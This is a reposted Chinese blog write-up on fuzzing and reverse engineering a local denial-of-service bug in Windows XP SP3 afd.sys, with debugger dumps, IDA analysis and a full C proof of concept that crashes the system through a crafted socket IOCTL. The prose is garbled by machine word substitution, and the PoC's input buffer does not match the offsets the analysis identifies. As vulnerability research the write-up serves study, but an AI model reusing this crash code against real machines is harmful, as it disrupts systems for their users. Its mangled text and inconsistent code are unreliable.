WindowsXP SP3 AFD.sys 本地拒绝服务漏洞的挖掘过程

发布时间：2021-03-06 05:08:09 所属栏目：大数据来源：网络整理

导读：标题: WindowsXP SP3 AFD.sys 当地拒绝处事裂痕的发掘进程时间: 2013-03-17,15:22:33 这是本人第一次做裂痕发掘，2月的时辰开始研究裂痕发掘技能，2月24号那天在举办Fuzz测试的时辰偶尔的发明白一个afd.sys未处理赏罚的非常，然后就对这个非常喜出望外的说明

标题: WindowsXP SP3 AFD.sys 当地拒绝处事裂痕的发掘进程
时间: 2013-03-17,15:22:33

这是本人第一次做裂痕发掘，2月的时辰开始研究裂痕发掘技能，2月24号那天在举办Fuzz测试的时辰偶尔的发明白一个afd.sys未处理赏罚的非常，然后就对这个非常喜出望外的说明起来了，由于在上班，以是都是操作周末时刻来举办，前前后后到加起来差不多5天时刻。此刻这个裂痕的缘故起因以及低条理的操作已经所有完成，以是拿出来跟各人分享一下，固然挖到此刻只挖出了当地拒绝处事的用处，在现在0Day满天飞的年月这个Vulnerability的代价微乎其微，可是对付我小我私人来说意义很大，事实是第一次做裂痕说明，对付把说明题目的思绪从事变惯性转向裂痕发掘有不少辅佐（我的事变平常打仗最多的就是，栈，一天到晚就是抓栈，说明栈，也常常抓dump，说明dump，可是事变的目标不是发掘裂痕，以是我要转型挖裂痕必要最大的改变就是事变时辰的目标性）。好了，不空话了，下面把从最初发明这个裂痕到写出这篇文章的进程具体的写出来。

1??Fuzz发明afd.sys产生未处理赏罚的ExRaiseDatatypeMisalignment非常。

WindowsXP SP3 AFD.sys 当地拒绝处事裂痕的发掘进程

Pic1
2??非常缘故起因探讨
上图圈起来的数据都是必要存眷的，到这里，我们就要先看一看具体环境，起首看【栈】：

Code:

kd>?kvn
?#?ChildEBP?RetAddr??Args?to?Child??????????????
00?b19698cc?8060d5a4?8060d550?b1969a14?b246db47?nt!ExRaiseDatatypeMisalignment+0xa?(FPO:?[0,0])
01?b19698d8?b246db47?5fcaa03a?00000004?00000004?nt!ProbeForWrite+0x54?(FPO:?[Non-Fpo])??//#
02?b1969a14?805768eb?821c45d0?00000001?00f3fd20?afd!AfdFastIoDeviceControl+0x4a9?(FPO:?[Non-Fpo])?//#
03?b1969ac4?8056f4de?00000230?00000000?00000000?nt!IopXxxControlFile+0x261?(FPO:?[Non-Fpo])
***?ERROR:?Symbol?file?could?not?be?found.??Defaulted?to?export?symbols?for?IOCTL_fuzzer.sys?-?
04?b1969af8?b16dfed5?00000230?00000000?00000000?nt!NtDeviceIoControlFile+0x2a?(FPO:?[Non-Fpo])?//#
WARNING:?Stack?unwind?information?not?available.?Following?frames?may?be?wrong.
05?b1969b8c?b16e05c3?00000001?00000230?00000000?IOCTL_fuzzer+0x4ed5
06?b1969c80?b16e0b9b?00000001?824a4380?00000230?IOCTL_fuzzer+0x55c3
07?b1969d34?8053e658?00000230?000002c0?00000000?IOCTL_fuzzer+0x5b9b
08?b1969d34?7c92e514?00000230?000002c0?00000000?nt!KiFastCallEntry+0xf8?(FPO:?[0,0]?TrapFrame?@?b1969d64)
09?00f3fce0?7c92d28a?719c7425?00000230?000002c0?ntdll!KiFastSystemCallRet?(FPO:?[0,0])
0a?00f3fce4?719c7425?00000230?000002c0?00000000?ntdll!ZwDeviceIoControlFile+0xc?(FPO:?[10,0])?//#
0b?00f3fe78?7c930041?00090718?000bb8e0?0000605d?0x719c7425
0c?00f3ff60?7c947bc5?00000000?000badc8?000bc038?ntdll!RtlFreeHeap+0x1e9?(FPO:?[Non-Fpo])
0d?00f3ff74?7c947b9c?7c947ae9?00000000?000badc8?ntdll!RtlpApcCallout+0x11?(FPO:?[Non-Fpo])
0e?00f3ffb4?7c80b729?00000000?00000000?00000000?ntdll!RtlpWorkerThread+0x87?(FPO:?[Non-Fpo])
0f?00f3ffec?00000000?7c930250?00000000?00000000?0x7c80b729

从第1帧可以看到原本是ProbeForWrite函数抛出了Data?misaligned?-?code?80000002这个非常。
莫非是这个ProbeForWrite没有放在try/except块中么？(临时不管)，先看一下是什么参数导致了这个一场吧：
Code:

kd>?.frame?1
01?b19698d8?b246db47?nt!ProbeForWrite+0x54
kd>?dds?b19698d8?L9
b19698d8??b1969a14
b19698dc??b246db47?afd!AfdFastIoDeviceControl+0x4a9
b19698e0??5fcaa03a??//?Address
b19698e4??00000004??//?Length
b19698e8??00000004??//?Alignment
b19698ec??824182a0
b19698f0??821c45d0
b19698f4??b246b030?afd!AfdFastIoDispatch
b19698f8??00000000

可以看到是地点参数出了题目，0x5fcaa03a。那这个参数是从那边来的呢？
我起首想到的是去比拟NtDeviceIoControlFile传入的InputBuffer，那就去比拟一下：
Code:

kd>?.frame?4
04?b1969af8?b16dfed5?nt!NtDeviceIoControlFile+0x2a
kd>?dds?b1969af8?L10
b1969af8??b1969b8c
b1969afc??b16dfed5?IOCTL_fuzzer+0x4ed5
b1969b00??00000230??//?FileHandle
b1969b04??00000000??//?Event
b1969b08??00000000??//?ApcRoutine
b1969b0c??00000000??//?IoStatusBlock
b1969b10??00f3fd4c??//?ApcContext
b1969b14??000120cf??//?IoControlCode
b1969b18??00f3fd20??//?InputBuffer
b1969b1c??0000002a??//?InputBufferLength
b1969b20??00000000??//?OutputBuffer
b1969b24??00000000??//?OutputBufferLength
b1969b28??805738c1?nt!NtWriteFile+0x607
b1969b2c??b1969be8
b1969b30??b1969c84
b1969b34??805732ba?nt!NtWriteFile

传入的InputBuffer并不是我们所祈望的0x5fcaa03a，那怎么办？虽然是看代码了！
裂痕发掘是一项综合手艺要求很高的技能，常识面越宽越好，为了办理题目能想出的步伐越多越好。
裂痕发掘终归是调试说明四个字，调试说明归结为两项大的手艺点：动态调试，静态说明。
动态调试首要目标是发明、重现、验证题目，静态说明作为对换试时辰的说明手段缺乏的一种增补，首要目标是掘客题目发生的缘故起因。
由于Windbg在汇编代码的展示方面成果太单一，以是静态说明照旧用IDA好了。
先算一下这个ProbeForWrite函数挪用在afd.sys模块内的RVA，
Code:

kd>?lm?m?afd*
start????end????????module?name
b2469000?b248ad00???afd????????(pdb?symbols)??????????f:kernelsymbolsafd.pdb5A0F2680051E40FCB82FED32C46BC9662afd.pdb
kd>??b246db47-b2469000
Evaluate?expression:?19271?=?00004b47

0x00004b47就是我们要找的RVA了，然后拿出IDA，找到这个地点：

WindowsXP SP3 AFD.sys 当地拒绝处事裂痕的发掘进程

Pic2
接下来我们要做的就是回溯一下代码，看看这个参数的源头在那边，由于这个Functino?Chunk只有一个扇入，以是我们很轻易向上找到这个ebp+30h的内容是怎样配置的：

WindowsXP SP3 AFD.sys 当地拒绝处事裂痕的发掘进程

Pic3
上图中紫色的Chunk中赤色框内的代码用C代码来暗示就是
Code:

RtlCopyMemory(pDst,?ebx,?0x24);

个中pDst的值为ebp-50h，而复制的长度为0x24，以是该函数执行完之后，从ebp-50h到ebp-2ch之间的内存都是从ebx处的内存中复制过来的。
着实在这里假若故意识的话，立即就会想到ebx就是InputBuffer，怎样确定这个展望？
最直观的就是通过调试时查察执行到里时ebx的值是否便是NtDeviceIoControlFile的参数InputBuffer，由于在非常产生在ProbeForWrite：
Code:

kd>?.frame?4
04?b1969af8?b16dfed5?nt!NtDeviceIoControlFile+0x2a
kd>?dds?b1969af8?L10
b1969af8??b1969b8c
b1969afc??b16dfed5?IOCTL_fuzzer+0x4ed5
b1969b00??00000230??//?FileHandle
b1969b04??00000000??//?Event
b1969b08??00000000??//?ApcRoutine
b1969b0c??00000000??//?IoStatusBlock
b1969b10??00f3fd4c??//?ApcContext
b1969b14??000120cf??//?IoControlCode
b1969b18??00f3fd20??//?InputBuffer
b1969b1c??0000002a??//?InputBufferLength
b1969b20??00000000??//?OutputBuffer
b1969b24??00000000??//?OutputBufferLength
b1969b28??805738c1?nt!NtWriteFile+0x607
b1969b2c??b1969be8
b1969b30??b1969c84
b1969b34??805732ba?nt!NtWriteFile
kd>??ebx????//?这里只是刚亏得产生非常的时辰Ebx的值没有被改变，其他环境假如ebx的值被改变了的话，就必要从头启动调试，打好断点然后再查察。
Evaluate?expression:?15990048?=?00f3fd20

为了进一步确认，我们照旧把内存数据dump出来看看吧：
Code:

kd>?dd?00f3fd20?LC
00f3fd20??89cf8909?bd625e8e?0a224464?7632e035
00f3fd30??c3de460d?ecd5cffd?ea3d8d76?cba3477a
00f3fd40??5fcaa03a?000bbbc0?000bbbc0?00000103
kd>?.frame?2
02?b1969a14?805768eb?afd!AfdFastIoDeviceControl+0x4a9
kd>?dd?b1969a14-0x50?LC
b19699c4??89cf8909?bd625e8e?0a224464?7632e035
b19699d4??c3de460d?ecd5cffd?ea3d8d76?cba3477a
b19699e4??5fcaa03a?00000000?e21c8460?822a52c0

这证明我们的揣摩是没错的，那此刻至少知道了触发这个非常所必要的数据：即InputBuffer+0x20处的一个DWORD会被当做用户空间地点去举办可写验证，可是却没有举办非常处理赏罚。
当真看文章的同窗也许还发明白，在代码下面临ebp+0x34的值也举办了同样的操纵，这就对应InputBuffer+0x1c处的DWORD。
适才说了可以通过调试来找关联，虽然也可以通过代码来静态说明其参数来历，我在做的时辰由于现场丢失，以是大部门时刻都是在静态说明代码。
关于找数据来历，虽然是倒推代码执行路径来的利便，团结IDA的选择染色成果，找起来异常利便的，一点履历就是：行使IDA，屏幕越大越好！（每次用的时辰都有种想把这14.1的本砸烂的激动）
此刻我们已经具有的关于这个非常的信息是：
Code:

IoCtlCode?=?0x000120cf;
??DWORD?InputBuffer[9]?=?
??{
????0x0,?0x0,?
????0x1,????//?要害值?在afd!afdFastDeviceIoControl中举办ProbeForWrite(x,4,4)
????0x1????//?要害值?在afd!afdFastDeviceIoControl中举办ProbeForWrite(x,4)
??};

后头呢，还必要一个FileHandle，少了这个DeviceIoControl无法找到方针，以是：
Code:

kd>?.frame?4
04?b1969af8?b16dfed5?nt!NtDeviceIoControlFile+0x2a
kd>?dds?b1969af8?L10
b1969af8??b1969b8c
b1969afc??b16dfed5?IOCTL_fuzzer+0x4ed5
b1969b00??00000230
b1969b04??00000000
b1969b08??00000000
b1969b0c??00000000
b1969b10??00f3fd4c
b1969b14??000120cf
b1969b18??00f3fd20
b1969b1c??0000002a
b1969b20??00000000
b1969b24??00000000

kd>?!handle?00000230??????//?查察这个Hande的工具

PROCESS?8221dd08??SessionId:?0??Cid:?0544????Peb:?7ffdb000??ParentCid:?02d8
????DirBase:?0a2c01a0??ObjectTable:?e16ea9d8??HandleCount:?171.
????Image:?svchost.exe

Handle?table?at?e21c8000?with?171?entries?in?use

0230:?Object:?821c45d0??GrantedAccess:?0012019f?(Inherit)?Entry:?e21c8460
Object:?821c45d0??Type:?(825eb040)?File
????ObjectHeader:?821c45b8?(old?version)
????????HandleCount:?1??PointerCount:?3
????????Directory?Object:?00000000??Name:?Endpoint?{Afd}


kd>?dt?_FILE_OBJECT?821c45d0??
ntdll!_FILE_OBJECT
???+0x000?Type?????????????:?0n5
???+0x002?Size?????????????:?0n112
???+0x004?DeviceObject?????:?0x824182a0?_DEVICE_OBJECT
???+0x008?Vpb??????????????:?(null)?
???+0x00c?FsContext????????:?0x822a52c0?Void
???+0x010?FsContext2???????:?(null)?
???+0x014?SectionObjectPointer?:?(null)?
???+0x018?PrivateCacheMap??:?0xffffffff?Void
???+0x01c?FinalStatus??????:?0n0
???+0x020?RelatedFileObject?:?(null)?
???+0x024?LockOperation????:?0?''
???+0x025?DeletePending????:?0?''
???+0x026?ReadAccess???????:?0?''
???+0x027?WriteAccess??????:?0?''
???+0x028?DeleteAccess?????:?0?''
???+0x029?SharedRead???????:?0?''
???+0x02a?SharedWrite??????:?0?''
???+0x02b?SharedDelete?????:?0?''
???+0x02c?Flags????????????:?0x40000
???+0x030?FileName?????????:?_UNICODE_STRING?"Endpoint"
???+0x038?CurrentByteOffset?:?_LARGE_INTEGER?0x0
???+0x040?Waiters??????????:?0
???+0x044?Busy?????????????:?0
???+0x048?LastLock?????????:?(null)?
???+0x04c?Lock?????????????:?_KEVENT
???+0x05c?Event????????????:?_KEVENT
???+0x06c?CompletionContext?:?(null)

看起来是个Socket，到这里，裂痕的当地Ddos操作代码已经浮此刻脑海了，于是就摒挡现场，从头启动写了一个操作代码。
3??操作要领的探讨
写Poc代码的时辰Socket行使了TCP协议，然则把措施运行起来的时辰并没有产生祈望的BSOD.
可想而知，由于说明的进程跳过了许多步调，从afd!AfdFastIoDeviceControl到nt!ProbeForWrite中间的进程完全被忽略了。
而有也许afd!AfdFastIoDeviceControl在中间的进程中做了许多参数搜查，因为参数不切合以是措施分支就产生了变革，没有进入预期非常触发点。
无奈，只能继承说明措施执行流程，然后调试批改参数了。
关于这里的说明，我认为我选择了一个不错的要领，由于我们要达到一个指定的代码片断，以是
1.??先倒推一条从方针代码到函数进口的最短路径，虽然要避开明明的错误跳转，在IDA顶用颜色A标明这条执行路径；
2.??调试本身的POC代码，找到现有POC代码执行的路径，在IDA顶用颜色B标明这条执行路径；
3.??假如调试代码的执行路径和倒推出来的路径一再，就用B包围原先的颜色；
4.??假如调试代码的执行路径偏离了倒推出来的路径，那就说明代码查找跳转缘故起因；
5.??批改第4步引起跳转的参数；
6.??然后一再2到5步，直到路径完全被B颜色包围。
我在操纵进程中形成的颜色路径如下图：

WindowsXP SP3 AFD.sys 当地拒绝处事裂痕的发掘进程

?
Pic4
上图粉赤色是倒推路径，紫色是执行时辰的路径，我认为这个要领较量有用。下面回到题目上来了，为什么Poc代码没有走正确的流程呢？
第一个缘故起因在这里

WindowsXP SP3 AFD.sys 当地拒绝处事裂痕的发掘进程

?
Pic5
esi是什么对象呢？如故用代码回溯找数据来历的要领，发明，esi是跟socket句柄有关，esi的值就是前面说的socket的FILE_OBJECT中的一个字段FsContext
我们来看一下，产生非常时辰这里的值是什么，数据如故行使前面所述的FILE_OBJECT中的值：
Code:

kd>?dw?0x822a52c0?L8
822a52c0??afd1?0002?89af?001b?0011?0000?0010?0000

能触发非常的值是afd1，而我们写的Poc中确实afd2，应该想到这是由于Socket的范例差池，那怎么才气建设一个FsContext的第一个word是afd1的socket呢？
我回收了一个笨的要领，穷举，就是应用层不改变socket的范例，然后内核调试查察FsContext的内容，夫役活干完后发明：
SOCK_STREAM
1.建设后??????afd0
2.毗连后??????afd2
3.BIND后????afd0
4.Listen后????afd4
照旧很悲剧，没有呈现afd1，然后就展望必定跟协议范例有关了，于是坚决换了一个SOCK_DGRAM的UDPsocket，终于这个处所可以顺遂执行下去了。
然则后头如故没有凭证预期进入方针代码，颠末颜色比对法，说明发明又一处判定：

WindowsXP SP3 AFD.sys 当地拒绝处事裂痕的发掘进程

?
Pic6
这里接着上面方才执行完的代码，那我们看看esi+2的处所：
Code:

kd>?db?0x822a52c0?+2?L8
822a52c2??02?00?af?89?1b?00?11?00

预期必要0x02，而poc的值却是01，这个值是什么寄义呢？颠末上面的穷举要领之后，我不想再用那么笨的步伐了。
由于这样下去服从太低，以是我抉择网上层逛逛，看一看正常环境下代码流程是怎样进入可以或许触发遗产的方针代码的。
先看加好标记文件的栈：
Code:

kd>?kvn
?#?ChildEBP?RetAddr??Args?to?Child??????????????
00?b1969398?804f8bad?00000003?80000002?00000000?nt!RtlpBreakWithStatusInstruction?(FPO:?[1,0])
01?b19693e4?804f979a?00000003?00000000?c0400000?nt!KiBugCheckDebugBreak+0x19?(FPO:?[Non-Fpo])
02?b19697c4?804f9cc5?00000050?80000002?00000000?nt!KeBugCheck2+0x574?(FPO:?[Non-Fpo])
03?b19697e4?8051dc67?00000050?80000002?00000000?nt!KeBugCheckEx+0x1b?(FPO:?[Non-Fpo])
04?b1969844?80541554?00000000?80000002?00000000?nt!MmAccessFault+0x8e7?(FPO:?[Non-Fpo])
05?b1969844?80000002?00000000?80000002?00000000?nt!KiTrap0E+0xcc?(FPO:?[0,0]?TrapFrame?@?b196985c)
WARNING:?Frame?IP?not?in?any?known?module.?Following?frames?may?be?wrong.
06?b19698cc?8060d5a4?8060d550?b1969a14?b246db47?0x80000002
07?b19698d8?b246db47?5fcaa03a?00000004?00000004?nt!ProbeForWrite+0x54?(FPO:?[Non-Fpo])
08?b1969a14?805768eb?821c45d0?00000001?00f3fd20?afd!AfdFastIoDeviceControl+0x4a9?(FPO:?[Non-Fpo])
09?b1969ac4?8056f4de?00000230?00000000?00000000?nt!IopXxxControlFile+0x261?(FPO:?[Non-Fpo])
0a?b1969af8?b16dfed5?00000230?00000000?00000000?nt!NtDeviceIoControlFile+0x2a?(FPO:?[Non-Fpo])
0b?b1969b8c?b16e05c3?00000001?00000230?00000000?IOCTL_fuzzer+0x4ed5
0c?b1969c80?b16e0b9b?00000001?824a4380?00000230?IOCTL_fuzzer+0x55c3
0d?b1969d34?8053e658?00000230?000002c0?00000000?IOCTL_fuzzer+0x5b9b
0e?b1969d34?7c92e514?00000230?000002c0?00000000?nt!KiFastCallEntry+0xf8?(FPO:?[0,0]?TrapFrame?@?b1969d64)
0f?00f3fce0?7c92d28a?719c7425?00000230?000002c0?ntdll!KiFastSystemCallRet?(FPO:?[0,0])
10?00f3fce4?719c7425?00000230?000002c0?00000000?ntdll!ZwDeviceIoControlFile+0xc?(FPO:?[10,0])
11?00f3fd84?75ba87f8?00000230?00f3fdb4?00f3fde4?mswsock!MSAFD_WSPRecvMsg+0x15f?(FPO:?[Non-Fpo])
12?00f3fe10?75ba2aa8?00000230?00f3fe74?00f3fe70?ssdpsrv!SocketReceive+0xcf?(FPO:?[Non-Fpo])
13?00f3fe8c?7c947e91?000bb8e0?000bad00?000badc8?ssdpsrv!SsdpNetProc+0xab?(FPO:?[Non-Fpo])
14?00f3fed8?7c94b0a1?75ba29fd?000bb8e0?000bad00?ntdll!RtlpWaitOrTimerCallout+0x73?(FPO:?[Non-Fpo])
15?00f3fef8?7c947ac2?000badc8?7c99e440?000bc038?ntdll!RtlpAsyncWaitCallbackCompletion+0x25?(FPO:?[Non-Fpo])
16?00f3ff40?7c947b03?7c94b07c?000badc8?00000000?ntdll!RtlpWorkerCallout+0x70?(FPO:?[Non-Fpo])
17?00f3ff60?7c947bc5?00000000?000badc8?000bc038?ntdll!RtlpExecuteWorkerRequest+0x1a?(FPO:?[Non-Fpo])
18?00f3ff74?7c947b9c?7c947ae9?00000000?000badc8?ntdll!RtlpApcCallout+0x11?(FPO:?[Non-Fpo])
19?00f3ffb4?7c80b729?00000000?00000000?00000000?ntdll!RtlpWorkerThread+0x87?(FPO:?[Non-Fpo])
1a?00f3ffec?00000000?7c930250?00000000?00000000?kernel32!BaseThreadStart+0x37?(FPO:?[Non-Fpo])

从栈中可以看到，整个代码都是从一个Timer回调中提倡的。
通过最初的bugcheck我们看到历程是svchost.exe，团结栈中的ssdpsrv这个标记可以确定这个裂痕是SSDP?Discovery处事中存在的。
那我们就来说明一下我们必要的这个socket范例到底什么范例：
用回溯代码的要领，从挪用ntdll!ZwDeviceIoControlFile的处所向上找，最终找到了Socket其实ssdpsrv.dll中建设的。
用IDA说明ssdpsrv.dll，在个中搜刮SsdpNetProc标记，然后查找引用：

WindowsXP SP3 AFD.sys 当地拒绝处事裂痕的发掘进程

?
Pic7
幸好只有一处引用，说明的事变量就大减了，然后跳已往说明，在ListenOnAllNetWork中有以下代码：

WindowsXP SP3 AFD.sys 当地拒绝处事裂痕的发掘进程

?
Pic8
可以看到措施是把用SsdpNetProc注册了一个守候变乱回调，而且eax作为参数传入，那SsdpNetProc是怎么处理赏罚eax的呢？socket是否在SsdpNetProc中建设的呢？
进入SsdpNetProc说明，发下以下代码：

WindowsXP SP3 AFD.sys 当地拒绝处事裂痕的发掘进程

?
pic9
个中esi就是socket，代码回溯，找到esi着实是第一个参数加偏移0x4
75BA2A0B?058?mov?????ebx,?[ebp+arg_0]
75BA2A5B?060?mov?????esi,?[ebx+4]
代码中就一向行使了esi生涯socket，这个不体谅，由于知道了socket不是在SsdpNetProc建设的，那就继承回到ListenOnAllNetWork函数举办说明。
回溯查到eax+0x4的地点是何时赋值的。

WindowsXP SP3 AFD.sys 当地拒绝处事裂痕的发掘进程

?
Pic10
找到socket的值是从lpMem+0x20h处传入的，lpMem是一个全局变量，这声名socket的建设在再往上一帧的函数里完成的，同样找ListenOnAllNetWork的引用。

WindowsXP SP3 AFD.sys 当地拒绝处事裂痕的发掘进程

?
Pic11
有两处，可是我们按照标记的意义可知，初始化应该在SssdpMain函数中建设，以是继承跳入SssdpMain函数：

WindowsXP SP3 AFD.sys 当地拒绝处事裂痕的发掘进程

?
Pic12
可是SssdpMain函数可读性太差了，这时辰要换个思绪了，建设socket，必然是挪用了socket函数，那我们看看一看ssdpsrv.dll的导入表，找找看全部引用socket的处所。

WindowsXP SP3 AFD.sys 当地拒绝处事裂痕的发掘进程

?
pic13
着实只有两处引用，然后别离在对这两个函数地址的函数查找引用，就会发此刻SssdpMain函数中挪用了GetNetworks函数，尔后又挪用了ListenOnAllNetWork函数，
以是展望也许在GetNetworks函数中完成了对lpMem+0x20h的赋值，然后对GetNetworks说明：

WindowsXP SP3 AFD.sys 当地拒绝处事裂痕的发掘进程

?
pic14
到这里着实已经知道了我们所必要的socket就是在SocketOpen函数中建设的，那就去看看是怎样建设的吧：

WindowsXP SP3 AFD.sys 当地拒绝处事裂痕的发掘进程

?
Pic15
由以上说明可知建设一个UDP的socket，然后bind到一个地点就行了，全部的说明到这里就竣事了，下面用我们所把握的信息来写Poc代码，并举办验证。
4??Poc代码的编写 Code:

/*************************************************************
?*
?*?afd.sys?LocalDDos?proof?of?concept
?*?tishion#163.com
?*?2013/03/17
?*
*************************************************************/
#include?<tchar.h>
#include?<stdio.h>
#include?"winsock2.h"

#pragma?comment(lib,?"Ws2_32.lib")

void?_tmain()?
{
??WSADATA?wsaData;
??int?iResult?=?WSAStartup(MAKEWORD(2,2),?&wsaData);
??if?(iResult?!=?NO_ERROR)
??{
????_tprintf(_T("Error?at?WSAStartup()n"));
??}


??SOCKET?Socket;
??Socket?=?socket(AF_INET,?SOCK_DGRAM,?0);
??if?(Socket?==?INVALID_SOCKET)?
??{
????_tprintf(_T("Error?at?socket():?%ldn"),?WSAGetLastError());
????WSACleanup();
????return;
??}


??sockaddr_in?service;
??service.sin_family?=?AF_INET;
??service.sin_addr.s_addr?=?inet_addr("127.0.0.1");
??service.sin_port?=?htons(27015);

??if?(SOCKET_ERROR?==?bind(Socket,?(SOCKADDR*)?&service,?sizeof(service)))?
??{
????_tprintf(_T("Error?at?bind():?%ldn"),?WSAGetLastError());
????closesocket(Socket);
????WSACleanup();
????return;
??}

??DWORD?dwBytesReturned?=?0;
??DWORD?InputBuffer[9]?=?
??{
????0x0,??//?要害值?在afd!afdFastDeviceIoControl中把这个值传入ProbeForWrite(x,x,x)
????0x1????//?要害值?在afd!afdFastDeviceIoControl中把这个值传入ProbeForWrite(x,x)
??};

??BOOL?bRet?=?DeviceIoControl((HANDLE)Socket,?0x000120cf,?&InputBuffer,?0x24,?NULL,?0,?&dwBytesReturned,?NULL);
??//////////////////////////////////////////////////////////////////////////
??//?后头的代码没机遇执行了，由于已经BSOD了
??//?本着一个及格的措施员专业精力，照旧把收尾事变的代码写好
??

??closesocket(Socket);
??WSACleanup();
??return;
}

看一下结果：）

WindowsXP SP3 AFD.sys 当地拒绝处事裂痕的发掘进程

? pic?16 对这个裂痕的说明操作就到这里了，着实还可以继承发掘，看看是否可以酿生长途裂痕，由于这个裂痕是SSDP?Server端的，而且触发进程是在SocketReceive函数中，以是应该会和Client端有必然接洽。后续发掘的话，要领照旧这些，只是时刻和精神的题目了，但愿这篇文章能给一些想进入裂痕发掘这个规模的同窗带来收成，纵然很小。 *****?Vulnerability?Summary?***** Sytem?Platform:??Windows?XP?With?Serveice?Pack?3? Kernel?Version:??NT?5.1.2600.5657 Module?Name:??Afd.sys Module?Version:?5.1.2600.5657 Function:?AfdFastIoDeviceControl Device:?AfdEndpoint IoctlCode:?0x000120cf Key?:?Create?a?socket?with?SOCK_DGRAM?and?bind?it?to?the?local?hsot,?any?port.? Call?DeviceIoControl?with?the?socket?and?set?the?value?of?Inputbuffer+0x20h?or?InputBuffer+0x1ch?to?a?number?that?can?not?be?divided?with?no?remainder?by?4. Then?you’ll?get?it.

（编辑：湖南网）

【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容!

将大数据转化为营销收	Regem Marr研祥金码机
先用户再客户让AI真正	航空航天类专业解读智